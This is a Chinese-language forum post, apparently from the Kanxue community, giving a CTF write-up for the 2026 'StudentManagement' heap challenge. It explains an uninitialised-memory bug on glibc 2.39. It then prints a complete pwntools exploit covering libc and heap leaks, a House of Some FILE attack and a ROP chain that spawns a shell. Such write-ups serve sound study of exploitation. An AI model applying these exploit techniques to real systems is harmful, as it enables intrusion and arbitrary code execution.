首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
4
7
[原创]2026软件系统安全赛决赛StudentManagement WP
发表于: 2026-5-24 22:36
11189
[原创]2026软件系统安全赛决赛StudentManagement WP
F0xm1ao
2
2026-5-24 22:36
11189
# 信息收集 Glibc版本2.39,保护全开  # 程序逆向 (部分偏移因IDA对寄存器赋值识别错误,以文字为准~) ## 功能实现 ### register malloc一个0x88的堆块 向+0x0处写入ID(0xF大小) 如果check发现已存在,就free掉0x88的堆块 如果不存在,就向chunk+0x10处写入name(0x3F大小),向读取结尾处写0 同时,向chunk+0x50写入pass(0x1F大小),向读取结尾处写0 向notes数组写入堆块用户指针 **向当前0x88堆块末尾八字节(下一个chunk的prev_size处)写入当前chunk的堆地址**  ### login 鉴权逻辑:确认存不存在ID 若存在,比较0x50处字符串是否相同,若相同进入menu  1.show,打印,但用的是printf,遇到\x00会截断  2.新增bio,输入小于0x400的size,若不存在已有的bio,则malloc一个并向chunk+0x70处写入新malloc的指针,向chunk+0x78处写入新malloc的size,并写入,末尾补0 若存在已有的bio且输入size大于已有bio,free掉原bio,新malloc一个chunk,逻辑同上  ### delete 输入ID,与chunk的开头校验,若校验通过,则进入free逻辑,首先检查0x70处是否存在指针,若存在,则先free0x70处的bio指针,再free当前user_chunk,同时清空了notes数组,不存在UAF漏洞 若检验不通过,则将指针后移0x80,进行遍历  ## 漏洞分析 ### 原语组合 这题的难点在于,所有的写入操作都在末尾处补零了,且size计算合理不存在off by null漏洞,free也伴随了正确的指针清零操作,所以常见的堆利用三板斧:UAF、堆溢出、off by null均无法正常实现,且无法通过程序读功能泄露基地址(强制写入,且写入必补零) 因此,此题并非为简单的堆利用,而是一套组合漏洞,漏洞的根源来自于当malloc时并未清空内存中的数据  这意味着,如果通过malloc->edit->free->malloc 就能控制user中0x70偏移的bio指针,再通过user_menu实现对于任意地址的读/写操作   回顾register最后的逻辑  其向堆中写入了堆地址,这在后续的内存中会有大用,我们通过调试来看这道题的利用思路 ### 调试 根据刚才的思路,我们必须在先申请满7个堆块填满tcache的情况下继续申请、释放,并构造出一个足够我们进行堆利用大小的Unsortedbin,我们先合并四个堆块看看Unsortedbin的内存是什么样的 ```python for i in range(13): add(i, str(i).encode(), str(i).encode()) add(13, b"13", b"13") for i in range(7): delete(i) for i in range(7,13)[::-1]: delete(i) ```  如果我们可以使得下图中的A作为register申请时会从Unsortedbin切割下来的堆块,我们就成功伪造了一个0x70地址处的bio指针,且这个指针指向的地址是libc中main_arena的一个地址,我们就可以拿到libc的基地址,不难计算出,如果我们先切割0x120的堆块,再进行register,就可以拿到这个我们想要的堆块  而user_menu中的edit_bio可以申请一个任意大小的堆块,我们在重新填满tcache后申请一个0x130的堆块,再进行register就可以使得bio指针被伪造,效果如下 ```python edit(0, "0", 0x130, "\x00") add(14, b"14", b"14") show(14, b"14") ru(b"\x6f\x3a\x20") libc_base = uu64(rc(6)) - 0x203B20 slog(b"libc", libc_base) ```  同理,当我们伪造这个main_arena的地址为bio指针时,我们就可以获得堆基址  构造方法同上,通过unsortedbin切割使其构造到reister_chunk+0x70处即可 当我们获取了Libc和heap的基址后,由此方法,我们可以在堆块中写入任意地址,并通过同上的构造方式实现任意地址读/写,加上这道题能正常exit,那就愉快的house of some打IO直接getshell~ 比赛时写的exp(比赛时堆风水构造的比较凌乱,但就是上面的构造方法): ```python #!/usr/bin/env python3 from pwn import * # type: ignore from SomeofHouse import HouseOfSome import socket import socks context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"] file_name = "./pwn" libc_position = "/root/glibc-all-in-one/libs/2.39-0ubuntu8.7_amd64/libc.so.6" remote_addr = "192.0.100.2" remote_port = "9999" e = ELF(f"{file_name}") context.binary = e context.log_level = "debug" # error/debug libc = None if args.REMOTE: socks.set_default_proxy( socks.SOCKS5, "domain", port, username="", password="", ) socket.socket = socks.socksocket p = remote(remote_addr, remote_port) elif args.GDB: gdbscript = """""" p = gdb.debug(file_name, gdbscript=gdbscript) else: p = process(file_name) if libc_position != "": libc = ELF(f"{libc_position}") assert libc is not None sd = lambda a: p.send(a) sl = lambda a: p.sendline(a) rc = lambda a=4096: p.recv(a) rl = lambda: p.recvline() ru = lambda a: p.recvuntil(a) uu32 = lambda a: u32(a.ljust(4, b"\x00")) uu64 = lambda a: u64(a.ljust(8, b"\x00")) sh = lambda: p.interactive() slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}") def debug(cmd=""): if not args.REMOTE: gdb.attach(p, cmd) pause() def safe(a, b): return p64(b ^ (a >> 12)) def choice(a): ru(b"> ") sl(str(a).encode()) def add(a, b, c): choice(1) ru(b"ID:") sl(str(a).encode()) ru(b"ame") sd(b) ru(b"ass:") sd(c) def delete(a): choice(3) ru(b"ID") sl(str(a).encode()) def show(a, b): choice(2) ru(b"ID:") sl(str(a).encode()) ru(b"ss:") sd(b) choice(1) def edit(a, b, c, d): choice(2) ru(b"ID:") sl(str(a).encode()) ru(b"ss:") sd(b) choice(2) ru(b"ze:") sl(str(c).encode()) ru(b"ontent") sd(d) loogout() def loogout(): choice(0) for i in range(15): add(i, str(i).encode(), str(i).encode()) add(15, b"15", b"15") add(17, b"17", b"17") for i in range(19, 40): add(i, str(i).encode(), str(i).encode()) for i in range(7): delete(i) for i in [14, 13, 12, 11, 10, 9, 8, 7]: delete(i) for i in range(7): add(i, str(i).encode(), str(i).encode()) edit(15, b"15", 0x1B0, b"\x00") add(16, b"16", b"16") show(16, b"16") ru(b"\x6f\x3a\x20") libc_base = uu64(rc(6)) - 0x203B20 slog(b"libc", libc_base) loogout() edit(17, b"17", 0x90, b"\x00") add(18, b"18", b"18") show(18, b"18") ru(b"\x6f\x3a\x20") heap_base = uu64(rc(6)) - 0x17F0 slog(b"heap_base", heap_base) loogout() edit(19, b"19", 0xA0, b"19") for i in range(20, 34): delete(i) for i in range(20, 27): add(i, str(i).encode(), str(i).encode()) edit(36, b"36", 0x80, b"0" * 0x70 + p64(libc_base + 0x2044C0) + b"\x00\x10") delete(36) add(40, b"40", b"40") add(41, b"41", b"41") fake_file_start = heap_base + 0x1C10 libc.address = libc_base hos = HouseOfSome(libc=libc, controlled_addr=fake_file_start) payload = hos.get_first_fake_file() edit(38, b"38", 0x400, payload) edit(39, b"39", 0x400, b"\x00") edit(21, b"21", 0x400, b"/bin/sh\x00") edit(41, b"41", 0x20, p64(heap_base + 0x1800)) ru(b"Bye") sl(b"0") rc() ret_addr = hos.bomb_raw(p) slog(b"ret", ret_addr) pop_rdi = libc_base + 0x10F78B bin_sh_addr = heap_base + 0x2020 sys_addr = libc.sym["system"] rop = p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr) sl(rop) sh() ``` flaggggggggggggg:  # 赛后复盘 本来是兴致勃勃想抢个血的,刚开始一直想找洞,师傅们还是太强了,我反应过来造堆风水的时候,师傅们已经把血抢完了,,还得练。 而这道题目也符合我上篇文章所说的,这个时代的pwn手不再是只需要会how2heap,不再是只需要面对最简单的增删查改、栈溢出、格式化字符串,而是要面对更实际和更现实的程序,底层的漏洞当然要研究,而业务上可能导致的漏洞也当然要研究,而在这个AI发展如此之快的时代,pwn的重要性或许才刚刚被大众所注意到,二进制漏洞挖掘与利用,少了利用的挖掘是无用的,而少了挖掘的利用和脚本小子又没有了区别,就像这道题一样,malloc不memset或许是一个很不起眼的漏洞,或许其中的脏数据也并不会影响正常业务的运行,但它与其他业务功能结合起来,就能实现getshell,就如近期的copy fail一样,四字节的任意地址写入能有多大破坏力呢?答案是能破坏整个世界,作为这个时代的pwn手,大胆挖掘,小心利用,而我们的目标也只有一个:Hack The World。
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于
2026-5-24 22:37 被F0xm1ao编辑 ,原因:
#题解集锦
收藏
・
4
点赞
・
7
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
ra1ny
+10
谢谢你的细致分析,受益匪浅!
2026-8-29 15:49
SYearn
+4
谢谢你的细致分析,受益匪浅!
2026-7-25 19:41
wx_晨梦
你的分享对大家帮助很大,非常感谢!
2026-7-16 07:31
yuanyouran
+1
感谢你的贡献,论坛因你而更加精彩!
2026-6-1 19:20
mb_nmixhczx
+1
为你点赞!
2026-6-1 18:14
h01mes
感谢你的贡献,论坛因你而更加精彩!
2026-5-27 23:33
n00bzx
+6
这个讨论对我很有帮助,谢谢!
2026-5-26 11:33
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
n00bzx
雪 币:
2703
活跃值:
(3884)
能力值:
( LV12,RANK:286 )
在线值:
发帖
7
回帖
59
粉丝
10
关注
私信
n00bzx
2
2
楼
Nb!
2026-5-26 11:32
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
F0xm1ao
2
4
发帖
6
回帖
100
RANK
关注
私信
他的文章
[原创]论一种无show情况下从堆到劫持执行流的方法
9073
[原创]2026软件系统安全赛决赛StudentManagement WP
11185
[原创]一道简单但不简约的堆题——CISCN2026初赛堆题robo分析
10500
[原创]从2026CCB决赛堆题CreditMarket学习Glibc2.39后ptmalloc的机制更新
12452
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部